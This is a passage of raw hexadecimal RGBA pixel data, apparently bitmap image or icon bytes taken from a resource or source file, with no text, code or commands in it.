FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFC0C0FFC0C0BFFFC0C0\n      BFFFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFF252525FF0F0F0FFF0E0E0EFF0F0F\n      0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F\n      0FFF0F0F0FFF0E0E0EFF0E0E0EFF4C4C4CFF2D78C2FF20A6FFFF1DA0FFFF1E9F\n      FFFF1DA0FFFF1DA0FFFF1DA0FFFF1DA0FFFF1DA0FFFF1DA0FFFF1DA0FFFF1D9E\n      FFFF1E9FFFFF1DA0FFFF1FA9FFFF5078A0FF2BA452FF19E65BFF18E15AFF19E1\n      5BFF19E15BFF19E15BFF19E15BFF19E15BFF19E15BFF19E15BFF19E15BFF19E1\n      5BFF19E15BFF18E15AFF19E75CFF4D9262FF2F2D2BFF1E373DFF2ECEF3FFA7D2\n      85FFFDB004FFECB419FFEAB51CFFEAB51CFFEAB51CFFEAB51CFFEAB51CFFEAB5\n      1CFFEAB51DFFEAB41CFFF2BA1CFF928050FF262626FF0E0E0EFF101010FF1111\n      11FF111111FF111111FF111111FF111111FF111111FF111111FF111111FF1111\n      11FF111111FF101010FF0E0E0EFF494949FF2B60B7FF1771FDFF196FF6FF1A6E\n      F6FF1A70F6FF1A70F6FF1A70F6FF1970F6FF1970F6FF1A70F6FF1A70F6FF1A70\n      F6FF1A6FF6FF196DF6FF1872FFFF506D9CFF31A056FF1FD25CFF20CF5CFF21CF\n      5DFF21CF5DFF21D05DFF21D05DFF21D05DFF21D05DFF21D05DFF21D05DFF21CF\n      5DFF21CF5DFF20CF5CFF1ED55EFF4E9164FF2D2D2DFF161311FF150502FF1377\n      99FF4DE2ECFFDFB021FFEBAA0BFFE1AC18FFE1AC19FFE1AC19FFE1AC19FFE1AC\n      19FFE0AC19FFE0AB17FFE7B015FF95824EFF252525FF0B0B0BFF0D0D0DFF0E0E\n      0EFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F0FFF0F0F\n      0FFF0E0E0EFF0D0D0DFF0A0A0AFF494949FF2A4FB2FF1152F9FF1252F2FF1553\n      F2FF1453F2FF1453F2FF1453F2FF1653F2FF1653F2FF1453F2FF1453F2FF1453\n      F2FF1553F2FF1252F2FF1154FFFF4E6397FF2B974FFF16C954FF18C555FF19C6\n      56FF1AC656FF1AC656FF1AC656FF1AC656FF1AC656FF1AC656FF1AC656FF1AC6\n      56FF19C657FF18C554FF17C955FF4D8C62FF282320FF0F0E0EFF111110FF1207\n      05FF10242BFF18C7F7FF99C881FFF4A500FFE2A911FFE0A915FFE0A915FFE0A9\n      13FFE0AA14FFE0A811FFE5AC10FF93804CFF1F1F1FFF040404FF070707FF0808\n      08FF090909FF090909FF090909FF090909FF090909FF090909FF090909FF0909\n      09FF080808FF060606FF040404FF484848FF213BBCFF0031FFFF0034FFFF0034\n      FFFF0034FFFF0034FFFF0034FFFF0034FFFF0034FFFF0034FFFF0034FFFF0036\n      FFFF0F39F0FF0D38F0FF0C39FDFF4C5B96FF88AA95FFADE7C3FFABE1BFFFABE1\n      BFFFABE1BFFFABE1BFFFB0E2C0FFBBE5C1FFB5E4C0FFADE1BFFFABE1BFFFABE1\n      BFFFABE1BFFFAAE1BFFFB1EDC9FF81978AFF2A6E86FF0A0000FF0E0907FF0F0F\n      0FFF100C0CFF0C0000FF0B7395FF45E0ECFFDDAC19FFE8A603FFDFA910FFDEA9\n      11FFDEA70FFFDFA80DFFE4AB0AFF937E49FFC8C8C8FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF91544CFFC25B4FFFBE594FFFC05C\n      4EFFBC564AFFBA5147FFBD584CFFBD584CFFBF5C50FFBF5C50FFC35D4CFFB258\n      5BFF002BFFFF0B2FEFFF082EFCFF4C5795FFBEBBBEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFBEE9F8FF4EC7E7FF75D3ECFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA19EA0FF3F9A63FF1DD4FFFF0E2E3DFF0B00\n      00FF0E0D0DFF100F0FFF0E0300FF0B1F28FF10C5F7FF97C67BFFF3A300FFE1A7\n      0BFFDFA80DFFDFA60BFFE4AA08FF927E49FFB9B9B9FFFFFFFFFFFFFFFFFFE0EB\n      CEFF78AD2BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7CB0\n      31FFD8E7C2FFFFFFFFFFFFFFFFFF9E9E9EFF885255FFB75F62FFAF595CFFA94C\n      51FFC27D83FFD8ADAFFFB35F63FFBB6F74FFAD5357FFB15A5FFFB65B5BFFA657\n      67FF002CFFFF0C31F0FF0930FCFF4C5795FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFCAEDF5FFFFFFFFFFBBE9F3FFFFFFFFFFDCF4F8FFF2F9FCFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF478E2FFF48BE23FF2EE1D9FF168A\n      B5FF0D0100FF0F0A08FF101010FF0F0B0BFF0C0000FF097296FF43DFEBFFDCAB\n      17FFE9A501FFDFA70BFFE4AA09FF927E49FFB9B9B9FFFFFFFFFFFFFFFFFFDAE7\n      C5FF8EB94AFFE9F2DEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEDF4E4FF8DB9\n      48FFD6E6BFFFFFFFFFFFFFFFFFFF9E9E9EFF885457FFB76166FFB05B60FFC486\n      8AFFD7ACAEFFDFBFC1FFE0C2C3FFD2A1A5FFBC7378FFAE565CFFB45B5CFFA557\n      68FF002CFFFF0C31F0FF0930FCFF4C5795FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFCFEFF7FFFFFFFFFF79D5E9FFEAF7FAFFCDEEF6FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF468F37FF49BE2CFF4DB91AFF41CD\n      72FF20D2FFFF0F303FFF0D0000FF0F0E0EFF100F0FFF0E0300FF0B1F28FF10C5\n      F8FF97C679FFF3A200FFE7AA05FF927E49FFC4C6BBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA4A59EFF875557FFB9646BFFAF565DFFD7AD\n      AFFFEFE0E2FFFFFFFFFFFFFFFFFFD6ACAFFFAD565BFFAE565CFFB3595AFFA455\n      67FF002AFFFF0B2FEFFF0A2FFCFF4B5795FFBEBFBBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFD3F7F6FFE1FDF9FFD9F9F9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A19EFF4A9038FF4CC031FF4EBE33FF50BC\n      2DFF52BF2EFF36E4DDFF1B8BB3FF0C0000FF0E0908FF0F0F0FFF0E0B0AFF0C00\n      00FF077196FF41DFEAFFE2AF12FF987D47FF31239CFF2910D4FF2A13D1FF2D15\n      D1FF2D16D2FF2C17D1FF2C17D1FF2D17D1FF2A14D0FF2913D0FF2812CFFF2812\n      CFFF2811D0FF2812D0FF290FD7FF50488CFF885558FFBB656AFFBC7176FFD5A8\n      ABFFF6EFEFFFFFFFFFFFFFFFFFFFDAB2B5FFD2A2A5FFB25C63FFBB6665FFAB61\n      71FF0038FFFF1340F1FF1141FDFF4C5895FF8B7CB2FFB8A0F5FFB19EEEFFB19F\n      EEFFB29EEEFFB29EEEFFB7A0EFFFB59FEFFFB69FEFFFB29FEEFFB29EEEFFB29E\n      EEFFB19FEEFFB19EEEFFBAA2F8FF827A9AFF4A9138FF50C134FF51BE36FF52C0\n      38FF53BF36FF56BD24FF4BD178FF2ED6FFFF193845FF120502FF151413FF1515\n      15FF120605FF0F222BFF1ECFFBFF758D75FF3F309EFF3F27D9FF4029D5FF412B\n      D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C\n      D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF895559FFBC6B70FFB15B60FFE8CD\n      CFFFCF9B9FFFE9D0D2FFDFBEC1FFDCB7B9FFBF767BFFB7686CFFBE6A6CFFAF68\n      77FF003EFFFF1343F2FF1043FFFF4B5795FF4320ABFF490AECFF4A0EE7FF4B10\n      E8FF4B11E8FF4B11E8FF4B11E8FF4B11E8FF4B11E8FF4B11E8FF4B11E8FF4B11\n      E8FF4B0EE8FF490DE7FF4A09EFFF5A4795FF4A9039FF52C337FF54C136FF55C1\n      39FF55C03AFF55C23AFF56C032FF57C235FF3EE6DEFF2492B6FF140806FF1510\n      0FFF151515FF130F0EFF0C0000FF496871FF3D2F9EFF3F24DBFF3F27D7FF4027\n      D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028\n      D7FF4027D7FF3F25D7FF4024DEFF554E8DFF875558FFC06B72FFB9696EFFAE53\n      59FFE2C3C5FFE8CED1FFCE9698FFC7898FFFB66267FFBA6A6FFFBF6B6BFFAF67\n      77FF003DFFFF0C3FF3FF0944FFFF495593FF4926ACFF5312EEFF5316EAFF5418\n      EAFF5419EAFF5419EAFF5419EAFF5419EAFF5419EAFF5419EAFF5419EAFF5419\n      EAFF5418EAFF5216EAFF5512F1FF5C4995FF499038FF53C535FF53C137FF54C2\n      37FF54C238FF54C238FF54C238FF54C236FF58BF25FF4CD377FF2ED7FDFF1536\n      42FF0E0200FF0E0D0DFF0A0A0AFF474646FF453AA5FF5B47E0FF5843DDFF5845\n      DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944\n      DDFF5845DDFF5744DDFF5945E1FF615B9CFF92595DFFCE878AFFC88085FFC981\n      85FFC37278FFC98286FFC5767CFFC77A81FFC98186FFC98186FFCD8283FFC07C\n      8EFF2158FFFF355CFEFF3660FFFF525FA7FF5033B0FF6B39F1FF6839EEFF6938\n      EEFF6939EEFF6939EEFF6939EEFF6939EEFF6939EEFF6939EEFF6939EEFF6939\n      EEFF6938EEFF6837EEFF6B39F3FF6857A4FF509741FF6BCD52FF68C950FF68CA\n      51FF68CA51FF68CA52FF68CA52FF68CA52FF68CA52FF6AC94AFF6ACC4EFF57EC\n      DBFF3D9FB9FF313131FF323232FF555555FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC5C5C6FFC6C6\n      C6FFC6C5C5FFC6C5C5FFC6C5C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6C6FFC6C6\n      C6FFC6C6C6FFC5C5C6FFC3C3C3FFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC6C5C5FFC5C5C5FFC5C5C5FFC6C5C5FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFF3338A4FF252AE5FF262AE0FF1D21\n      DEFF8D9EFDFFBBA5A5FFB09295FFA4B5FFFF1C1FDDFF262BE0FF262BE0FF272B\n      E0FF262BE0FF252AE0FF252BE7FF525592FFA15040FFE25B3CFFDD5A3BFFDD5A\n      3CFFDC593CFFDC593CFFDC593CFFDC593CFFDC593CFFDC593CFFDC593CFFDC59\n      3CFFDD5A3CFFDD593BFFE25B3DFF906459FF8A9C1CFFC5E200FFC0D600FFA5E1\n      30FF3AFFFFFF47FFFBFF3EFFFFFFCCD000FFBCD900FFBCD800FFBCD800FFBCD8\n      00FFBCD900FFBCD800FFC9E600FF808D46FF1C78C5FF00A7FFFF00A0FFFF009F\n      FFFF009EFFFF07A4FFFFFFFFFFFFF3FFFFFFF4FFFFFFFFFFFFFF008DFFFF009F\n      FFFF009FFFFF00A1FFFF00AAFFFF4678A1FF3633A0FF291FD1FF2A21CEFF2117\n      CBFF8E94EFFFBB9B8EFFAF887BFFA4ACF5FF2115CCFF2C22CFFF2C22CFFF2C22\n      CFFF2B20CEFF2A20CEFF281ED3FF525191FFA64F3AFFDB522FFFD75430FFD953\n      31FFD95531FFD95431FFD95431FFD95431FFD95431FFD95431FFD95431FFD955\n      31FFD95331FFD75230FFDD532FFF956154FF848221FFACA506FFAD9F00FF95AF\n      33FF2BEDFFFF37E5F1FF2EECFFFFBB9700FFA9A309FFA9A309FFA9A309FFAAA3\n      09FFA8A109FFA9A207FFB0A805FF80804AFF2163BCFF0574FFFF0773FFFF0974\n      FFFF0471FFFF0D76FFFFFFFFFFFFECFFFFFFEDFFFFFFFFFFFFFF005EFFFF0974\n      FFFF0874FFFF0773FFFF0576FFFF4A6F9EFF382A9AFF2B15CBFF2D16C7FF260E\n      C6FF938FEDFFC09681FFB4836AFFA9A8F4FF250DC6FF301AC9FF301AC9FF2F18\n      C9FF2F19C9FF2D16C7FF2C15CDFF544E8DFF36A5B7FF27E0FEFF28DCFAFF29DC\n      FAFF2ADDFAFF2ADDFAFF2ADEFFFF2BDEFFFF25D8FEFF24D7F8FF2ADDFAFF2ADD\n      FAFF29DCFAFF28DDFAFF27E3FFFF55929CFF806C24FFA88808FFA98101FF8F95\n      37FF22E7FFFF2FDDF5FF25E5FFFFB57600FFA3860CFFA3860CFFA3860CFFA386\n      0CFFA4860AFFA2850AFFAA8908FF7C734BFF2452BAFF0859FFFF0858FFFF0A59\n      FFFF0555FFFF0F5DFFFFFFFFFFFFF4FFFFFFF5FFFFFFFFFFFFFF003FFFFF0A59\n      FFFF0959FFFF0858FFFF075BFFFF4B659CFF311F92FF2100C0FF2402BEFF1C00\n      BBFF9083E9FFC29374FFB77D5EFFA79FF1FF1900BBFF2504BEFF2504BEFF2504\n      BEFF2503BEFF2302BEFF2100C3FF504788FF2E1F88FF1600B3FF1D05AEFF1E06\n      ADFF1F07AFFF2008BEFF1C0479FF11003DFF483077FF573FBEFF0A00A7FF1E06\n      ADFF1E06ADFF1D03ADFF1600B4FF504882FF845621FFAD6100FFAF5C00FF9177\n      29FF17E3FFFF25D7FCFF1AE0FFFFBF5100FFAB6100FFAB6100FFAB6100FFAB61\n      00FFAB6000FFAA5F00FFB16200FF7D664AFF2245B7FF023BFFFF002BFFFF002D\n      FFFF0029FFFF0035FFFFFFFFFFFFFBFFFFFFFCFFFFFFFFFFFFFF0010FFFF002D\n      FFFF002CFFFF002CFFFF053FFFFF4B5C9AFF8B85B3FFB3AAF7FFB2A8F3FFAEA3\n      F1FFDFE1FFFFC18D72FFB5775AFFE8EDFFFFAEA4F2FFB3A9F4FFB3A9F4FFB1A9\n      F3FFB1A8F3FFB2A9F3FFB5ABFAFF837E9AFF26288FFF412A86FF1011B5FF1616\n      B8FF1919BAFF090A1EFF040400FF0E0F09FFFFFFFFFFFFFFFFFFCACBEAFF0504\n      ADFF1514B5FF1814B0FF3E288AFF4A4B86FF4F8079FF53A89FFF53A297FF4BAD\n      AEFF1CD9FFFF22D3FEFF1CD8FFFF5C9E8CFF53A69CFF53A69CFF53A69CFF54A6\n      9CFF52A49CFF52A59BFF54ACA0FF617C78FF213AB7FF3D63FFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF0C3CFFFF4A579AFF8F6953FFBD805DFFB97B59FFB87A\n      58FFB5795BFFA86547FFA86245FFB5785BFFB87B59FFB87B59FFB87C59FFB87A\n      5AFFB87B58FFB87959FFBD7D59FF857063FF2C3386FFAE6D42FF2C3BA1FF1427\n      B1FF080609FF5E5E59FF777878FF383939FF717171FFB7B7B7FFBABAB1FFE0DC\n      F2FF0823B6FF283D9EFFBE7435FF494F83FF2BA2C0FF1BE2FFFF18DBFFFF1AD9\n      FFFF23D4FDFF23D4FDFF22D4FEFF1ADBFFFF1ADBFFFF1ADBFFFF1ADBFFFF1ADB\n      FFFF19DCFFFF17DCFFFF15E5FFFF4E8F9EFF213BB7FF3661FFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF093AFFFF4A589AFF977761FFCB9774FFC89674FFC594\n      71FFC18E71FFAA674CFFA86347FFC18E71FFC5926FFFC5926FFFC5926FFFC592\n      6FFFC5916EFFC4906DFFC8936EFF8A766AFF2C2F8EFF0C29C1FF164FBAFF1946\n      AFFF09080EFF5D5E58FF736466FF342E2CFF5C5C5CFFB9B9B9FFBBBBB2FFD0D7\n      ECFF294BAAFF5669BDFF001ABEFF4D4E84FF2DA2BFFF1FE1FFFF22DCFFFF23D9\n      FFFF22D3FDFF21D3FDFF22D4FDFF1BDAFFFF1BDAFFFF1BDAFFFF1BDAFFFF1CDA\n      FFFF1BDAFFFF18DAFFFF17E4FFFF4E8E9EFF213DB7FF3763FFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF093AFFFF4A589AFF776CAEFF9A87F0FF9887ECFF9482\n      EAFFD1CFFFFFC49578FFB77C5DFFD9DCFFFF8D7BE6FF9385E9FF9385E9FF9285\n      E9FF9284E9FF9083E7FF9586F0FF777296FF2C2C8EFF1C19BCFF1F28BAFF1F41\n      BFFF213BC5FF0A0927FFA8604BFF6F5C54FFFFFFFFFFFFFFFFFFBAB8E4FF001F\n      ADFF0D2FB3FF494EBAFF211EB8FF4D4D84FF48898BFF50BBBAFF51B6B2FF4BBE\n      C2FF29DBFFFF29D6FDFF21D8FFFF4CABA7FF46B0B4FF46B0B4FF46B0B4FF47B0\n      B3FF45B0B3FF44AFB2FF46B8BBFF5D8282FF213FB7FF436EFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF0C3DFFFF4A589AFF382092FF3405C9FF3608C5FF2E01\n      C2FF9B88ECFFCC9C7BFFC08966FFAFA2F3FF2B00C2FF340AC4FF330AC3FF330A\n      C3FF3409C3FF3407C4FF3404CAFF544787FF2C258CFF1D0EBBFF2111B7FF2311\n      B7FF2413BAFF2516C8FF130887FF413381FF9D8FDDFF4435BAFF0E00B2FF1F0E\n      B6FF200EB6FF1B0CB7FF1D0EBCFF4D4983FF865421FFB86700FFB96000FF9B7A\n      2FFF23E4FFFF31D8FFFF27E3FFFFCA5600FFB46500FFB36400FFB36200FFB362\n      00FFB36300FFB46300FFBE6A00FF80634AFF2644B7FF0C47FFFF0741FFFF0740\n      FFFF033EFFFF1149FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0021FFFF063E\n      FFFF053EFFFF0741FFFF0C4AFFFF4C5B9AFF3F2595FF3F10CCFF4113C8FF390A\n      C6FFA08DEDFFCC9E7DFFC28B67FFB3A6F4FF380AC5FF4317C9FF4317C9FF4316\n      C9FF4215C9FF4013C9FF400FCFFF584989FF2BABB7FF1BEEFDFF1FE9F9FF21EA\n      F9FF20EAF9FF22EAF9FF22EAFDFF1EE7FDFF17E0F6FF1DE6F7FF22EAF9FF21EA\n      F9FF20EAF9FF1EE9F9FF1BF1FFFF4D959BFF7D5B25FFAE7611FFAE6D09FF9488\n      42FF23E5FFFF31D9FEFF28E4FFFFBC6300FFAA7417FFAA7417FFAA7418FFAA75\n      16FFAA7315FFA97213FFB17710FF79674BFF2545B7FF104EFFFF104BFFFF124B\n      FFFF0F49FFFF1A50FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF002FFFFF134D\n      FFFF124CFFFF1049FFFF104FFFFF4B5B9AFF3F2396FF400BCEFF400ECBFF3805\n      C8FF9F8BEFFFCC9E7CFFC38C68FFB3A5F5FF3704C8FF4111CBFF4111CBFF4111\n      CBFF4110CBFF3F0ECAFF410AD0FF554788FF9C5943FFD76C49FFD46C4AFFD56B\n      49FFD56D4BFFD56D4BFFD56D4BFFD56D4BFFD56D4BFFD56D4BFFD56D4BFFD56D\n      4BFFD46C49FFD46B48FFD96E4BFF8C6459FF7E5B21FFAE750AFFAF6F02FF9589\n      3CFF1FE7FFFF2EDBFFFF23E4FFFFBE6300FFAB740FFFAB740FFFAB740FFFAB74\n      0FFFAB730EFFAA720CFFB37909FF786649FF2143B6FF0A4DFFFF0C4CFFFF0E4D\n      FFFF0A4AFFFF1552FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0031FFFF0F4E\n      FFFF0E4DFFFF0C4CFFFF0950FFFF495998FF452F9CFF5D33D6FF5831D2FF522A\n      D1FFAF9FF5FFD6AC90FFCC9A7CFFC0B5FCFF5028D1FF5933D3FF5933D3FF5933\n      D3FF5933D3FF5831D2FF5B32D6FF635597FF986454FFD08A6EFFCC886BFFCD87\n      6BFFCD876CFFCD876CFFCD876CFFCD876CFFCD876CFFCD876CFFCD876CFFCD87\n      6CFFCD876BFFCC866CFFD0886EFF957569FF866129FFC08F39FFBD852BFFA79B\n      5EFF3FF1FFFF4DE6FFFF42F0FFFFCC7813FFBA8B37FFBA8A37FFBA8A37FFBA8B\n      37FFBA8935FFB98A35FFC08E36FF887352FF2948C3FF396CFFFF3465FFFF3566\n      FFFF3262FFFF3B6AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF154BFFFF3766\n      FFFF3566FFFF3565FFFF366AFFFF5263ACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      